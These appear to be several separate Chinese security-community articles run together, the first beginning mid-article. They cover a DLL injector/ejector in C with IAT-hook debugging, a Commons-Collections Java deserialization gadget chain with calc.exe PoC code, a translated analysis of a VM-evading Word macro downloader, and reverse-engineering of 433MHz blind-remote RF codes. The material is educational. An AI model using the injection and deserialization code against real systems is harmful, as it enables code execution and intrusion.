pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); //指定远程线程执行的函数操作
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pfRemoteBuf, 0, NULL); //创建远程线程并执行
if (hThread)
{
printf("inject successfully!");
}
else
{
printf("inject failed!");
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
BOOL Eject(DWORD dwPID, LPCTSTR szDllName)
{
BOOL bMore = FALSE;
BOOL bFound = FALSE;
HANDLE hSnapshot = NULL; //指向进程映像结构体的指针
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
MODULEENTRY32 me = { sizeof(MODULEENTRY32) }; //描述模块列表的相关结构体
LPTHREAD_START_ROUTINE pThreadProc; //对应的线程函数
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE) //获取进程映像结构体
{
printf("Snapshot get failed!\n");
return FALSE;
}
bMore = Module32First(hSnapshot, &me);
for (; bMore; bMore = Module32Next(hSnapshot, &me)) //遍历获取对应DLL模块的模块列表
{
if (!_tcsicmp(me.szModule, szDllName) || !_tcsicmp(me.szExePath, szDllName))
{
bFound = TRUE;
break;
}
}
if (!bFound)
{
printf("Module SnapShot not found!\n");
CloseHandle(hSnapshot);
return FALSE;
}
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess failed!\n");
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL); //创建远程线程并执行
//在MODULEENTRY32当中，modBaseAddr成员即为该模块在程序中加载的地址，改地址作为FreeLibrary的参数
if (hThread)
{
printf("Eject successfully!");
}
else
{
printf("Eject failed!");
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hSnapshot);
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
EnableDebugPriv();
if (!_tcsicmp(argv[1], L"i")) //当命令行输入i时执行注入DLL操作
{
Inject((DWORD)_tstoi(argv[2]), argv[3]);
}
else if (!_tcsicmp(argv[1], L"e")) //当命令行输入e时执行卸载DLL操作
{
Eject((DWORD)_tstoi(argv[2]), argv[3]);
}
return 0;
}
这个程序主要执行DLL的注入与卸载操作，程序逻辑也比较简单：
1. 相关进程提权（EnableDebugPriv）
2. 在目标进程中注入DLL（Inject）
3. 从目标进程中卸载DLL（Eject）
4. 根据命令行参数选择需要执行的操作（_tmain）
由于提权函数和注入操作函数在[以前的文章](https://xz.aliyun.com/t/11914)中已经详细分析过了，这里就不在做赘述，下面主要分析一下DLL卸载函数
## Eject：
由于卸载DLL是注入DLL的镜像操作，所以其实在原理上来说差异是不大的，注入操作通过一个API函数LoadLibrary来完成注入；相应的，卸载操作也是通过一个API函数：FreeLibrary来实现的。这里看一下MSDN关于FreeLibrary的说明：
BOOL FreeLibrary(
[in] HMODULE hLibModule
);
只有一个参数：hLibModule。这里要注意其与LoadLibrary的不同，LoadLibrary的参数一个指向需要加载的DLL的名字的字符串指针，而FreeLibrary的参数是一个指向目标DLL的模块句柄。
那么重点即是如何获取这个DLL的句柄。
这里就需要提一下Windows中的一个映像机制了。Windows编程中的进程可以使用CreateToolhelp32Snapshot函数来为其拍摄快照，以及其使用的线程，堆，模块等相关信息。CreateToolhelp32Snapshot函数在MSDN上查到的说明如下：
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);
而这个快照信息可以用于遍历搜索该进程所加载使用的各个模块。而在Windows编程中，加载模块的具体数据列表被解释为一个结构体：MODULEENTRY32，它可以在TIHelp32.h中查到如下：
typedef struct tagMODULEENTRY32W
{
DWORD dwSize;
DWORD th32ModuleID; // This module
DWORD th32ProcessID; // owning process
DWORD GlblcntUsage; // Global usage count on the module
DWORD ProccntUsage; // Module usage count in th32ProcessID's context
BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
HMODULE hModule; // The hModule of this module in th32ProcessID's context
WCHAR szModule[MAX_MODULE_NAME32 + 1];
WCHAR szExePath[MAX_PATH];
} MODULEENTRY32W;
其中modBaseAddr即是指向该模块在对应进程虚拟内存中的加载的基地址，这个数据就可以作为FreeLibrary的参数用于从目标进程中卸载DLL了。
**注：成员hModule也可以使用，但是直接使用地址指针比使用句柄要好一点（关于句柄与指针前面有提到过），可以避免一些难以解释的bug**
所以DLL的卸载操作流程可以总结如下：
1. 获取目标进程的快照：
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE) //获取进程映像结构体
{
printf("Snapshot get failed!\n");
return FALSE;
}
2. 通过快照遍历模块列表找到对应模块的MODULEENTRY32结构体
bMore = Module32First(hSnapshot, &me);
for (; bMore; bMore = Module32Next(hSnapshot, &me)) //遍历获取对应DLL模块的模块列表
{
if (!_tcsicmp(me.szModule, szDllName) || !_tcsicmp(me.szExePath, szDllName))
{
bFound = TRUE;
break;
}
}
3. 通过远程线程注入完成卸载操作
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL); //创建远程线程并执行
//在MODULEENTRY32当中，modBaseAddr成员即为该模块在程序中加载的地址，改地址作为FreeLibrary的参数
# 运行测试：
首先打开计算器程序：
现在是正常的显示为阿拉伯数字，然后在命令提示符中运行注入程序：
之后可以看到计算器中已经显示的是中文数字了：
对应的进程下也出现了相应的DLL文件：
之后再执行注入程序中的卸载操作：
这时候计算器的数值恢复为阿拉伯数字：
# 调试运行：
这里我们使用x32dbg来调试一下这个注入操作，首先用x32dbg打开计算器程序并设置中断于新模块的载入：
然后F9运行程序至出现计算器的操作窗口：
启动注入程序将DLL文件注入到进程当中，注入后调试器会停止在DLL文件的入口处（ **注意此处的注入程序要以管理员权限运行，否则会出现进程打开失败的错误**
）：
调试会停止在此处：
这里就是DLL的入口点函数，之后我们需要找到执行IAT钩取的函数IAT_Hook，这里可以通过步进跟随程序流程（因为程序本身比较简单），也可以结合程序用到的字符串查找来找到函数的调用位置如下：
这里可以看见调用了GetModuleHandle和GetProcAddress等参数，符合程序中的流程，并且下面可以看到一个call
IAT_Hook的函数调用标记，直接步进即可进入IAT_Hook函数：
这里就是IAT_Hook函数的实际执行部分，向下步进到这个位置：
这里有一组明显的比较以及条件跳转指令，其实就是程序中遍历寻找IAT表中对应API函数地址的操作部分，可以试着自己步进跟踪一下这个流程：
在右侧的寄存器界面也可以看到调试器标记出了一个uer32.dll库中API函数的位置。
接下来步进到这个位置：
发现一条赋值指令：
mov eax, dword ptr ss:[ebp+0x8]
结合其注释可以知道这里就是具体修改IAT表中SetWindowTextW的真实地址为伪造函数MySetWindowTextW的操作部分。
至此IAT_Hook的修改操作结束。
# 参考资料：
1. <https://bbs.pediy.com/thread-268969.htm#msg_header_h3_1>
2. 《逆向工程核心原理》[韩] 李承远 | 社区文章 |
### `先知安全技术社区独家发文，如需转载，请先联系社区授权；未经授权请勿转载`
## 前言:
玄铁重剑，是金庸小说笔下第一神剑。由「玄铁」制成，重八八六十四斤；由「剑魔」独孤求败所使，四十岁前持之无敌于天下。
独孤求败逝去后为杨过所得，并由独孤求败的「朋友」神雕引导，之后在神雕的指导下，也根据独孤求败的独门秘籍及练功方法，练成了一身天下无敌的剑法及内功心法。
## 主角:
CommonsCollection, commons-collections.jar
## 介绍:
Java Collections Framework 是JDK
1.2中的一个重要组成部分。它增加了许多强大的数据结构，加速了最重要的Java应用程序的开发。从那时起，它已经成为Java中集合处理的公认标准。官网介绍如下:
Commons Collections使用场景很广，很多商业,开源项目都使用到了commons-collections.jar。
很多组件，容器，cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons
Collections反序列被披露事件有关。
## 正文:
再讲一个执行链，在ysoserial中，CommonsCollections2提到了，通过上一篇的分析，我们得知执行链很多。接下来接着分析另外一个执行链,
需要借助的是PriorityQueue这个类，这里我找到了一条执行链
PriorityQueue.readObject()->PriorityQueue.heapify()->PriorityQueue.siftDown()->PriorityQueue.siftDownUsingComparator()->TransformingComparator.compare()->InvokerTransformer.transformat()
这和ysoserial提到的是一样的, 下面我们自己来尝试构造下poc。
通过分析源码，我们可构造出TransformingComparator.compare的大致结构如下:
public static void main(final String[] args) throws Exception {
runcompare();
}
public static void runcompare(){
InvokerTransformer invokerTransformer= getInvokerTransformer();
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
Runtime runtime1 = Runtime.getRuntime();
transformingComparator.compare(runtime1, null);
}
public static InvokerTransformer getInvokerTransformer(){
String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
return invokerTransformer;
}
其中PriorityQueue.siftDownUsingComparator调用compare的地方如下，查看源码可知，我们要将runtime对象放在
queue中。
通过分析源码得知， 必须要给comparator赋值，comparator的赋值操作可以在构造函数里面进行。
通过最终分析组合出如下poc:
public Queue<Object> getObject(final String command) throws Exception {
PriorityQueue queue = getPriorityQueue();
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}
public static PriorityQueue getPriorityQueue() throws Exception {
TransformingComparator transformingComparator = getTransformingComparator();
PriorityQueue priorityQueue = new PriorityQueue(1, transformingComparator);
priorityQueue.add(Runtime.getRuntime());
return priorityQueue;
}
public static TransformingComparator getTransformingComparator(){
InvokerTransformer invokerTransformer= getInvokerTransformer();
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
return transformingComparator;
}
public static InvokerTransformer getInvokerTransformer(){
String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
return invokerTransformer;
}
}
但是在序列化的时候就出错了，2333，
很显然，Runtime不能直接序列化，因为他没有实现接口。
那么想通过类似于CommonsCollection1的方式去执行函数，即
inal Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs),
new ConstantTransformer(1)};
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
Transformer transformerChain = new ChainedTransformer(transformers);
然而并不行，这个类在commons-collections4.jar中不具有类。最终还是看了一下ysoserial的poc，发现其利用的到是TemplatesImpl类,后面很多反序列化都用到这个。
笔者记得在廖新喜师傅在分析fastsjon反序列化的时候也提到过这个，<http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/>
我们需要将一个编译成class
文件的类进行base64编码，并且赋值给_bytecodes，关于怎么做可以参考廖师傅的文章。我这里讲一下pwntester是怎么做的，这种做法需要借助ClassPool。
### 浅谈ClassPool怎么用:
classPool简单用法如下:
public class Main {
public static void main(String[] args){
try
{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("net.codersec.Person");
CtField ctField = new CtField(CtClass.intType, "name", ctClass);
ctField.setModifiers(Modifier.PUBLIC);
ctClass.addField(ctField);
byte[] bytes = ctClass.toBytecode();
FileOutputStream fileOutputStream = new FileOutputStream(new File("Person.class"));
fileOutputStream.write(bytes);
fileOutputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
运行上面的代码就会生成一个class文件，反编译结果如下:
这里有一个小技巧，就是在Class.newInstance的时候，可以在Class的构造函数里面加要执行的恶意代码，但是也可以
通过insertAfter()将要执行的代码在构造函数运行后运行。
其生成的代码如下:
最终调试完成之后poc如下:
final Object templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(templates);
queue.add(templates);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
return queue;
其中用到的是函数
TemplatesImpl.newTransformer，而不是TemplatesImpl.getTransletInstance，因为getTransletInstance权限是private不能被直接反射?试了几个public权限的函数，比如getOutputProperties，newTransformer都可以。
且getOutputProperties，newTransformer中都有调用getTransletInstance。
## 拓展学习
其实除了InvokerTransformer.transformat，还可以利用InstantiateTransformer.transformat()，其中collcetion5就是利用了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter构造函数中调用了TemplatesImpl.getTransletInstance()
其调用链更复杂
PriorityQueue.readObject()->PriorityQueue.heapify()->PriorityQueue.siftDown()->PriorityQueue.siftDownUsingComparator()->TransformingComparator.compare()->InstantiateTransformer.transformat()->com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.newInstance()->TemplatesImpl.getTransletInstance()->Class.newInstance()
## 参考链接
<http://blog.csdn.net/a394268045/article/details/51996082>
<http://blog.csdn.net/yyywyr/article/details/16984335> | 社区文章 |
# Word宏使用WMI检测虚拟(VM)环境
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.vmray.com/word-macro-detects-vm-environments/>
译文仅供参考，具体内容表达以及含义原文为准。
介绍 :
我们最近遇到一个有趣的内嵌有宏的word文档,它会在打开时检测你是否则在虚拟机环境中,如果没有检测到虚拟环境,这个宏会尝试下载payload到主机上执行,让我们看看我们是如何通过VMRay的函数日志功能辅助分析这个有严重混淆的word文档的。
文档打开后,可以看到它用了社会工程学技巧,欺骗用户开启”Enable
Content”功能,如果用户开启了,宏会自动触发Document_Open()函数。这将导致大量的混淆过的Visual Basic 代码运行。
分析:
我们把这个文档上传到VMRay Analyzer,几分钟后结果呈现,VTI的(VMRay Threat
Identifier)得分是100/100,这主要原因是因为这个WORD文档尝试下载文件,属于高风险行为.
进一步分析这个结果,发现了有趣的东西,这个word宏使用WMI来检测VM,为了了解这个行为,我们不得不反混淆代码,通常这个工作在整个分析过程中是痛苦的,但是借助VMRay分析器的函数日志记录功能使这个工作变得容易了,函数日志会在分析运行时就被新建,他会记录函数调用和每个函数分配的参数,例如,我们看下面的图片,
能够看到完整的下载链接。
通常攻击者在混淆宏的时候,也会混淆函数调用。他们这里使用了一个小技巧,Visual
Basic允许通过CreateObject()新建类对象,这个函数需要一个字符串输入,例如CreateObject(“WScript.Shell”)
将新建一个shell-object,攻击者加密了这个字符串。首先攻击者加密字符串 “Wscript.Shell” 为
“lhtrWxaHLlSpcG.xS9e.iSkycrB” ,然后将它写到以“QJnANGYgOwW”为索引的“doTNALtI”列表中,现在
“doTNALtI.QJnANGYgOwW”将指向到“lhtrWxaHLlSpcG.xS9e.iSkycrB”(Wscript.Shell),接下来,攻击者建立一个命名为
“WkKQhrg04”(CreateObject())的过程,然后通过解密函数 “kFfxtZGj54a”
来解密输入的字符串,最终,一个简单的CreateObject(“WScript.Shell”)
调用,将被混淆成WkKQhrg04(kFfxtZGj54a(360, doTNALtI.QJnANGYgOwW))。
这样的混淆,使得重构这个宏很难。
然而,通过函数日志功能的辅助,我们重构这个宏看起来就不那么难了,我们仅仅需要在函数日志中查看敏感的字符串和函数就可以了,例如:
CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x2130e0 | out:
lpclsid=…)) returned 0x0
我们可以看到,kFfxtZGj54a(360, doTNALtI.QJnANGYgOwW) 被 “Wscript.Shell” 调用了。
虚拟机检测:
这个样本的Visual Basic 宏是通过VMDetectionFails来检测虚拟环境,如果这个方法返回true,才开始后续的操作,否则宏将停止运行。
Public Sub MAIN()
if VMDetectionFails then
runInfection
else
error
end if
VMDetectionFails包含三个检测方法
Private Function VMDetectionFails() As Boolean
if Detection01 Or Detection02 then
VMDetectionFails = Detection03
else
VMDetectionFails = True
end if
如果Detection01 或者Detection0检测到在虚拟环境中,Detection03决定宏是否运行,反之,VMDetectionFails
返回true
Detection01 使用 WIMI
第一个检测方法分2步,首先检测“USERNAME”和“USER”环境变量,“USERDOMAIN"和“HOST”环境变量是否相等,如果返回true,检测将触发,否则进入下一步。
第二步将调用(“Win32_ComputerSystem“)的实例GetObject(“winmgmts:“),这个实例包含所有的系统信息。检测的系统信息的“硬件制造商”,“模型“是否包含“KVM”,
“QEMU”, “RED HAT”, “VIRTUAL”, “VMWARE”, “XEN”. 字符。如果包含,则检测方法触发,并返回true。
Detection02 使用 WMI
第二个检测方法还是使用WMI
GetObject("winmgmts:").ExecQuery ("Select * from Win32_Process")
通过返回的信息看是否包含“FIDDLER”, “PROCEXP”, “PROCMON”, “SNORT”, “SURICATA”,
“WIRESHARK”字符,如果有,则返回true
Detection03
这个检测方法会判断“1461591186_usa”字符串是否在文档路径中,如果是,返回true
InStr(1, callByName(ThisDocument, "Path", 2), "1461591186_usa") <> 0
我们怀疑作者只是使用这个字符串来做测试的
结论:
通过VMRay Analyzer 分析环境,我们可以获取到WORD文档当检测到没有在VM环境中时,会尝试下载
“/wp-content/plugins/hello123/word.exe”
当我们想继续分析CC服务器的时候,服务器已经关机了,word.exe也没有下载回来。
样本的哈希:
MD5: 25e1c155992cacfd04c4983305dfc6cb
SHA1: 4cccbab7a900e879ceb31f1f85b95a4f1e814bd5
SHA256: ab550133a5c3d49c7f48a903fbcd928afb01ec225841aba6387956d70daf7e10 | 社区文章 |
# 【技术分享】智能家居DIY——如何通过逆向RF协议自制一个智能遥控器
|
##### 译文声明
本文是翻译文章，文章来源：nickwhyte.com
原文地址：<https://nickwhyte.com/post/2017/reversing-433mhz-raex-motorised-rf-blinds/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[紫曦归来](http://bobao.360.cn/member/contribute?uid=2937531371)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
随着家庭生活品质的提高，家用电器设备也越来越多，遥控器逐渐成为了家中不小的负担。厂家本身的想法是配备了遥控器，日常使用这些家电设备更加方便，但是实际却事与愿违，因为生活水平的提高，家中电器及数码设备提供了一堆的遥控器。相信大家都经历过，满屋找遥控器的尴尬。来自澳大利亚的软件工程师尼克·怀特（Nick
Whyte）通过逆向遥控器的RF协议，最终DIY了一个可以操控家中所有百叶窗的遥控器。下面小编就带大家看看他是如何进行智能家居DIY的。
我对集成DIY智能家居非常感兴趣，也曾经通过黑进部分家用电器的内部系统，来进行家庭自动化的DIY改造。几个月前，我父亲购买了多个瑞克斯（RAEX）品牌433兆赫射频的电动百叶窗，以取代家里的手动窗帘。
图1：瑞克斯牌433兆赫射频电动百叶窗
注：购买的百叶窗在Spotlight上以“Motion Motorized Roller Blind”的名义销售
百叶窗给这个家带来了非同凡响的感受，尤其是对于比较懒惰的我来说，不用手动开关窗帘，这一点大为省事。但是，遥控百叶窗需要购买瑞克斯品牌遥控器。瑞克斯公司生产了不同型号的遥控器，我挑选了以下两款遥控器：
R型遥控器 （YRL2016）
X型遥控器（YR3144）
每一个房间里都放一个遥控器的做法不可行，因为遥控器的部分功能用不上，购买过多的遥控器就显得非常浪费了。事实上，不同房间的百叶窗可以被编程到同一个遥控器上使用。因此，购买多个遥控器就没有必要了。
解决这一问题就是使用名为“ RM Pro”的App。这款App，可允许用户通过智能手机来操控家电等设备。
但是，在我看来，这个App运行起来非常缓慢，完全不适合家庭自动化系统。我希望家里的百叶窗可以通过苹果智能家居系统（Apple Homekit）进行操控。
如果想要遥控到这些百叶窗，我需要做以下两件事中的任意一件：
1、逆向出RM Pro的应用程序（App）与RM Pro之间是如何实现通信的。
2、逆向出遥控器操控百叶窗的RF协议。
首先，我尝试了第一种选项，但是我无法弄清楚iPhone和集线器之间是如何进行通信的，所以我选择了放弃。此后，我开始逆向RF协议。
我在Ebay网站上购进了一套433兆赫兹Arduino开源电子原型平台的发射器和接收器。以防发射器和接收器之间链接断掉，大家也可以尝试在Ebay上购买一套433兆赫兹Arduino开源电子原型平台的发射器和接收器的链接工具。
**初步研究结果**
我在Google上反复搜索RAEX正在使用的协议的技术指标，但没有任何结果：
我通过FCC认证查询网站和专利查询网站找不到协议的任何技术指标。
我向RM Pro发送电子邮件想要获取其技术指标，但依旧毫无所获。
我向瑞克斯公司发送电子邮件想要获取其技术指标，他们表示不会在没有保密协议的情况下给我提供产品技术指标。
我发现RFXTRX可以在百叶窗处于T4模式和Outlook Motion模式下操控百叶窗。
我拆开了一个百叶窗遥控器，发现遥控器内部还装有微控制器（micro-controller）。但我找不到关于通用RF协议如何进行编码的相关说明文档。
我发现似乎可以通过I2C工程远程固件上的ROM芯片逆向出遥控器的固件。
**获取信号数据**
在收到网购的Arduino开源电子原型平台的发射器和接收器后，我将接收器与Arduino开源电子原型平台相连接，并开始尝试进行信号数据搜索。我反复进行了多次尝试，最后我找到了一条可以获取数据的路径。
获取了足够的信号数据信息后，我开始进行数据分析。我发现这些数据颇难理解，我甚至不能确定这些数据的准确性。
我进行了延伸学习，阅读了如何进行RF
逆向的相关书籍和文档。这些书本里介绍了一种方法，就是将接收器插入电脑的麦克风端口来捕捉信号，之后通过Audacity音频软件进行分析。（如下图所示）我想，何不尝试一下呢？
这一办法帮助我搜集了许多的信号数据。我搜集到了4个不同的R型遥控器和2个不同的X型遥控器的信号数据。意外的是，我还搜集到了与Broadlink RM
Pro（B型）配对的8种不同设备的信号数据。
通过分析这些信号数据，我可以得出以下结论：
1、 设备之间传输的信号没有使用滚动码（rolling code）。因此，我可以通过重播捕获的信号，使百叶窗进行重复动作。
2、 设备之间传输的信号要重复至少3遍（根据所使用的遥控器类型不同而有所区别）。
缩小信号的波形，我们可以看到捕获到的信号的不同部分。下图展示了遥控器与百叶窗配对状态下1号遥控器，在1频道时的信号波形：
放大信号波形：
在缩放图像中，不难看出信号首先以振荡0101 AGC模式（oscillating 0101 AGC
pattern）进行传输，此后以双宽度前导码模式传输，再之后以较长的header模式传输，此后转为data模式。
R型遥控器的传输信号中，Header和data模式要重复三边，AGC模式仅在开头出现过一次。
纯粹研究这些信号并不会有太大的帮助。我需要将这些信号数字化，并对其进行分析，找出不同遥控器和频道之间信号传输模式的差异。
**解码信号波形**
我们需要确定信号波形是如何编码的。这一类硬件应用通常会使用下列方法之一：
**曼彻斯特编码（又称相位编码）**
**三态/三位编码，附加信息** ****
**PWM编码** **** ****
原始数据？high long = 11，high short = 1，low long = 00，low short = 0？
通过一些研究，我能够确定其最有可能使用的是曼彻斯特编码。这一点需要我们谨记！
**信号数字化**
我开始按照上述原始方案处理信号（即使我认为其采用了曼彻斯特编码）。这样做的理由是，如果编码方式并不是曼彻斯特编码，我还可以尝试通过另一种方案解码。（另外，手抄原始信号的方式总比我通过思考进行曼彻斯特解码更容易）。
我将每次捕获的信号写入Google
Sheets电子表格。写下每个频道的每次动作大概需要5分钟时间，每个遥控器都有6个频道。我开始认为这将需要一段时间才能真正得到足够的数据进行分析。（考虑到我需要对160条捕获信号进行数字化）
在从2个遥控器中收集8个不同频道的所有动作后，我选择了暂停。我获得了32条捕获信号用于分析。从这些数据中，我能够推断出一些关于原始bits的特点：
不同频道会有一些bits改变。
不同遥控器会有一些bits改变。
对于不同频道/遥控器/动作组合，有些bits似乎会随机变化。
我仍然需要更多的数据，但这也使得我必须手动解码大量捕获信号。为了能够在任意地点实现操作，我还需要一个脚本来帮助处理这些通过Audacity软件捕获的WAV文件。我编写了一个脚本，使其可以通过原始编码方式检测标头和提取数据（就是我一直手动在做的）。该脚本生成了JSON格式的输出文件，我可以添加额外的元数据，并反复检查捕获信号的波形：
[
{
"filename": "/Users/nickw/Dropbox/RF_Blinds/Export_Audio2/tracks2/R1_CH1.wav",
"captures": [
{
"data": "01100101100110011001100101101001011010010110011010011010101010101010101010011001101010101010101010101010101",
"header_pos": 15751,
"preamble_pos": 15071
},
{
"data": "01100101100110011001100101101001011010010110011010100110101010101001101010011001101010101010101010101010101",
"header_pos": 46307,
"preamble_pos": 45628
},
{
"data": "01100101100110011001100101101001011010010110011010010110101010101010011010011001101010101010101010101010101",
"header_pos": 73514,
"preamble_pos": 72836
},
{
"data": "01100101100110011001100101101001011010010110011010101010101010100101010101101001011010101010101010101010101",
"header_pos": 103575,
"preamble_pos": 102895
}
]
}
]
一旦确认，我就会对这些数据进行列表，并将其插入我的电子表格进行进一步处理。不幸的是，每次捕获信号的 bits量已经大到让我失去理智：
我认为如果以曼彻斯特编码方式进行解码可能会有更好的效果。为此，我又写了一个脚本，将原始捕获数据按照曼彻斯特编码进行处理（或其他编码类型）。在将这些数据计入电子表格时，我逐渐得到了更加合理的答案。
观察这些数据，我们立即可以得到这些bits和其用途之间所存在的一些联系：
6bits用于频道（C）
2bits用于动作（A）
6bits用于某些校验和，似乎是动作和频道的一个函数。 F(A, C)
行动改变时发生变化
频道改变时发生变化
没有频道是相同的，因此不能确定是否会因遥控器不同而发生变化。
1bit似乎是动作的一个函数 F(A)
1bit似乎是F(A)的一个函数，于是，G(F(A))。它取决于F(A)的值，有时是1对1映射，有时是反映射。
经过进一步调查，我确定对于同一个遥控器和频道来说，每个不同的动作，会使F(A, C)增加1.（如果你将这些bits看作大端格式）。
再仔细观察这些数据，我同时能够确定，对于相邻的频道，bits与C（Channel）存在递加/递减算法关联（X型遥控器递加计算，R型遥控器递减计算）。另外，F(C)还会一起增加/减少。注意C栏。
由此，我可以确认F(A, C)和C之间的关系，即F(A, C) = F(PAIR, C0) == F(PAIR, C1) ±
1。在有了这个发现之后，我确定F(A, C)和A之间也存在其他的数学联系。
**制作更多数据**
根据我们所收集的现有信息，我们似乎可以通过改变6
bits频道数据，以及按照我们上面发现的数学联系改写校验和，制作新的遥控器。这意味着我们可以从单一源频道生成64个频道。而这已足够控制房间里的所有百叶窗了。但我还是想完全解码校验和字段，从而无限量地制作遥控器。
我编写了一个工具来通过元捕获数据输出所有频道：
./remote-gen generate 01000110110100100001010110111111111010101
...
我想要生成更多数据的原因是，如果我们可以在同一个频道上查看不同的遥控器，也许我们可以确定校验和的构成方式。即R0CH0，R1CH0，X1CH0，等…
实际上，我想做的是解出下列方程式的函数G：
F(ACTION_PAIR, CH0) == G(F(ACTION_PAIR, CH0))
然而，在查看所有频道0的PAIR捕获数据后，校验和似乎仍然是以完全混乱和随机的形式表达：
在看这些数据的同时，我又发现了另一种模式。G(F(A))的位置相比F(A)出现了整个字节的偏移（8 bits）。另外，前2 bits的F(A,
C)位于字节边界，并与A（Action）对齐。随着行动增加，F(A, C)也是如此。我们再将所有处于字节边界的bits进行排列，看看其有什么特征：
在这里，我们需要确定基于前4个字节产生的已知校验和的函数。最初，我尝试通过字节进行异或（XOR）运算：
但结果并不成功，输出结果是随机形式的数据，使用校验和与输出结构异或运算后，并没有产生常数键。因此，我推断出校验和不是通过异或运算生成的。那会不会是采用的加法呢？我们从上面已经能看到加法/减法的运算关系。
我们的推测看起来越来越有希望——相同类型遥控器的频道之间存在一个常数差异。因为我制作的项目存在漏洞，会不会不同类型遥控器的常数也存在不同？在频道或校验和变化时，我们是否没有打包正确的位数，或使用错误的字节边界？
事实证明，这就是原因所在。
**分析校验和**
查看原始捕获数据，并执行相同的模加法，我们确定校验和是通过添加前导的4个字节和加3来计算的。我无法确定为什么在这里使用3，除了瑞克斯公司（购买百叶窗的品牌）想要使其校验和的解码过程变得更多困难，或者为了确保正确的传输模式。
我改装了我的遥控器应用来处理这些刚刚识别的边界：
type RemoteCode struct {
LeadingBit uint // Single bit
Channel uint8
Remote uint16
Action uint8
Checksum uint8
}
这样的一组数据可以解释我们的问题。事实证明， F(A)不是A（Action）的一个函数，它实际上是被传输的动作数据（action data）的一部分：
type BlindAction struct {
Name string
Value uint8
}
var validActions = []BlindAction{
BlindAction{Value: 127, Name: "PAIR"},
BlindAction{Value: 252, Name: "DOWN"},
BlindAction{Value: 253, Name: "STOP"},
BlindAction{Value: 254, Name: "UP"},
}
另外，频道和遥控器之间的拆分或许是没有必要的。相反，这可能只是一个任意的24位整数，但是更容易的是将其拆分为8位int和16位int。基于此，我可以推断，协议可以容纳2
^ 24个遥控器（约1670万）！这将是很多的百叶窗！
最终，我在这里正式写出了校验和的函数：
func (r *RemoteCode) GuessChecksum() uint8 {
return r.Channel + r.Remote.GetHigh() + r.Remote.GetLow() + r.Action.Value + 3
}
**附加工具**
我的“衍生遥控器”（remote-gen）项目是为了通过原有遥控器生成代码，但现在需要一些其他功能。
我需要一种从捕获数据中提取信息的方法，并验证在生成校验和期间，其校验和是否与我们的规则集一致。我写了一个info命令：
./remote-gen info 00010001110001001101010111011111101010100 --validate
Channel: 196
Remote: 54673
Action: STOP
Checksum: 42
Guessed Checksum: 42
运行—validate后，如果猜测的校验和！=校验和，则将显示错误并退出。在我们的所有捕获数据中运行这一进程，可以证明我们的校验和函数是正确的。
该工具所需的另一个功能是能够生成任意代码来创建我们自己的遥控器：
好了到这里，我已经可以使用这个工具来生成任何我所需要的遥控器了。
./remote-gen create --channel=196 --remote=54654 --verbose
00010001101111110101010111111111010011001 Action: PAIR
00010001101111110101010110011111101101000 Action: DOWN
